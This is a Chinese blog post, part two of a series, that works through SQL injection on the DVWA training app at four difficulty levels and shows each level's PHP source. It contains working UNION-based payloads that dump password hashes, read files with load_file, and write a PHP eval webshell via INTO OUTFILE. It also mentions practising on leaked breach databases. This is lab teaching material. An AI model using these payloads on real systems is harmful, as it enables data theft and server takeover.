sql注入(连载二)安信华web弱点测试系统注入

好多人问我sql怎么学习,我一下也说不出来。我就在此做统一的解答:

sql语句分为两种,不管怎么用还是怎么学习主要是要理解SQL语句的基本概念,框架,原理和解决问题的思路。具体要学的的数据库是一门比较系统的学问感兴趣的可以专门去研究它。所以这也又说明了Web安全是要有一定的开发基础的,一个好的web安全工程师实际上也是一个全栈工程师。

至于我自己就是自己搭建一个库,慢慢训练着玩。而且现在网上爆出的社工库那么多自己随变练练足够用了。

一.sql注入(low)

一样的思路先尝试是否有注入点既然是简单模式那就直接输入

1'

结果回显

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

注意

''1'''

可判断是mysql注入而且有字符型注入点,接下来尝试注入

尝试遍历

1'or'1'='1

图片1

分析一下原因

"SELECT first_name, last_name FROM users WHERE user_id = '1'or'1'='1' "

字符型构造的字符1永远相等,结果返回所有的firstname和lastname

2.猜信息列数(order by)

1'order by 1 --

注意--后面有空格

返回正常

图片2

当输入

1'order by 3 --

报错没有该列,

所以猜得有两个列

3.猜数据库账户信息、数据库名称、数据库版本信息(利用database,user,version函数)

1' and 1=2 union select 1,2 --

返回

ID: 1' and 1=2 union select 1,2 --
First name: 1
Surname: 2

从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,

4.利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:

1' and 1=2 union select user(),database()  --

返回

ID: 1' and 1=2 union select user(),database()  --
First name: root@localhost
Surname: dvwa

5.得到数据库用户和数据库名称

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

6.获得操作系统名称

ID: 1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
First name: 1
Surname: Win32

7.测试连接数据库权限

1' and ord(mid(user(),1,1))=114 --

知道是admin权限

ID: 1' and ord(mid(user(),1,1))=114 --
First name: admin
Surname: admin

8.查询所有数据库名称

1' and 1=2 union select 1,schema_name from information_schema.schemata --

9.数据库所有表

1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database()--

10.猜表名

1' and exists(select * from users) --

表名为为admin

11.猜字段名

 1' and exists(select first_name from users) --

字段名也为admin

12.爆用户

 1' and 1=2 union select first_name,last_name from users --

13.爆用户名密码

1' UNION SELECT 1,concat(user,0x3a,password) from users--

得到md5值的密码,到pmd5解密一下就可以得到了

为什么要使用联合查询?

Union查询结合了两个select查询结果,根据上文中的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union查询了结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。

利用注入点读/etc/passwd文件

使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)

‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +- -+        或者

‘ union select 1, load_file(‘c:\/1.txt’) +- -+

利用注入写入webshell

假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。

‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+

‘ union select 1,'<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+

二.sql注入(medium)数字型

为了节约时间看看源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} } // This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
?>

分析:以发现,这里对用户输入的id参数进行了过滤,主要方法是使用了mysql_real_escape_string()函数,这个函数可以将$id变量中的单引号’、双引号”、斜杠\等字符进行转义,因而我们再输入之前的“’or 1=1 #”就会报错了,从错误提示中可以发现单引号’已经被转义成了\’,因而注入语句无法发挥作用。

需要说明的是,在PHP中还有一个与mysql_real_escape_string()功能类似的函数:addslashes(),这两个函数的功能都是对特殊字符进行转义,那么到底用哪个函数更好一些呢?百度了一下,发现大家也是各执一词。有人说mysql_real_escape_string()函数需要事先连接数据库,可能会报错,所以推荐使用addslashes();也有的人说addslashes()过滤不够严格,推荐使用mysql_real_escape_string()。在DVWA中很明显是推荐使用mysql_real_escape_string(),那么我们就相信DVWA好了。

下面我们分析一下这里该如何绕过过滤,继续进行注入呢?我们再仔细观察一下源码,可以发现参数id已经被改为了数字型,第三行语句中“user_id = $id”,而之前的low级别是“user_id = ‘$id’”,其实这就是DVWA故意留下的一个漏洞。

值得一提的是虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

1.判断是否存在注入,注入是字符型还是数字型

抓包更改参数id为

1′ or 1=1 #

2.猜解SQL查询语句中的字段数

1 order by 2 #
1 order by 3 #

3.确定显示的字段顺序

1 union select 1,2 #

4.获取当前数据库

1 union select 1,database() #

5.获取数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

6.获取表中的字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

7.下载数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

其实在分析完成后和low是一个道理,所以关键在于怎么绕过

三.sql注入high级别

一样代码审计:

<?php 

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" ); // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count
$i++;
} mysql_close();
} ?>

分析:与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。然而并没有什么卵用。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样。

最后

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

值得一提的是:High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

3.SQL注入impossible级

代码审计

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ]; // Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

sql注入搞事情(连载二)的更多相关文章

  1. sql注入搞事情(连载一)

    SQL注入搞事情(连载一) 概述 写在最前面 为了有个合理的训练计划,山人准备长期开放自己的训练计划以及内容以供大家参考.山人专业是信息对抗技术,不是web方向的博客保证句句手打,如有问题请及时小窗. ...

  2. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

  3. 代码审计之SQL注入

    0x00概况说明 0x01报错注入及利用 环境说明 kali LAMP 0x0a 核心代码 现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select. ...

  4. 06 数据库入门学习-视图、sql注入、事务、存储过程

    一.视图 1.什么是视图 视图本质是一张虚拟的表 2.为什么要用 为了原表的安全 只要有两大功能 1.隐藏部分数据,开放指定数据 2.视图可以将查询结果保存,减少sql语句的次数 特点: 1.视图使用 ...

  5. SQL注入与安全防护---以PHP为例

    一.什么是sql注入: 简单来说,当我们从前端的用户表单数据往后台数据库传输时,可能用户表单数据中的某些数据,会跟我们的后台发生“有机”反应,从而导致发生一些数据库的异常操作. 举个例子吧,以简单的用 ...

  6. SQL注入漏洞技术的详解

    SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...

  7. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

  8. 梨子带你刷burp练兵场(burp Academy) - 服务端篇 - Sql注入配套漏洞讲解笔记

    目录 Sql注入 什么是Sql注入呢? Sql注入有哪些例子? 检索隐藏数据 打破应用逻辑 利用Union进行跨库查询 如何确定利用Union的注入攻击所需的列数呢? 如何确定Union的查询结果中哪 ...

  9. Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法

    sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...

随机推荐

  1. R语言与概率统计(三) 多元统计分析(中)

    模型修正 #但是,回归分析通常很难一步到位,需要不断修正模型 ###############################6.9通过牙膏销量模型学习模型修正 toothpaste<-data. ...

  2. python3 速查参考- python基础 8 -> 面向对象基础:类的创建与基础使用,类属性,property、类方法、静态方法、常用知识点概念(封装、继承等等见下一章)

    基础概念 1.速查笔记: #-- 最普通的类 class C1(C2, C3): spam = 42 # 数据属性 def __init__(self, name): # 函数属性:构造函数 self ...

  3. javaweb期末项目-stage1-part1-需求分析(Requirements analysis)

    需求分析文档.rar-下载 说明:解压密码为袁老师的全名拼音(全小写) 相关链接: 项目结构:https://www.cnblogs.com/formyfish/p/10828672.html 需求分 ...

  4. SpringBoot + thymeleaf 实现分页

    SpringBoot结合Thymeleaf实现分页,很方便. 效果如下 后台代码 项目结构 1. 数据库Config 由于hibernate自动建表字符集为latin不能插入中文,故需要在applic ...

  5. ValueError: Object arrays cannot be loaded when allow_pickle=False

    错误ValueError: Object arrays cannot be loaded when allow_pickle=False的解决     numpy最新版1.17以上版本与其他包不兼容问 ...

  6. 关于mysql的自增测试,innodb和myisam下的不同表现

    关于mysql的自增测试,innodb和myisam下的不同表现 innodb引擎下的自增id测试 1 innodb引擎下,如果显示insert了最大值,那么下次的AUTO_INCREMENT值就是这 ...

  7. SpringBoot默认日志的使用方法及常用配置

    SpringBoot默认采用slf4j+logback 的组合形式,但也提供对JUL.log4j2.Logback提供了默认配置. 我们使用IDEA的spring初始化创建一个springboot项目 ...

  8. FileSystemResource 找不到文件

    环境 Spring 3.2.5.RELEASE 原因 使用 FileSystemResource 加载文件的过程中,发现一个奇怪的现象,路径完全正确,但是找不到文件的情况.可能的原因是文件的路径上有压 ...

  9. YAPTCHA(HDU2973)【威尔逊定理】

    威尔逊原理.即对于素数p,有(p-1)!=-1( mod p). 首先,将原式变形为[ (3×k+6)! % (3×k+7) + 1] / (3×k+7),所以: 1.3×k+7是素数,结果为1, 2 ...

  10. 安装kubenetes-遇到的问题总结

    # 5.修改docker的cgroup驱动(不需要操作)# kubelet# 看到最后一行:error: failed to run Kubelet: failed to create kubelet ...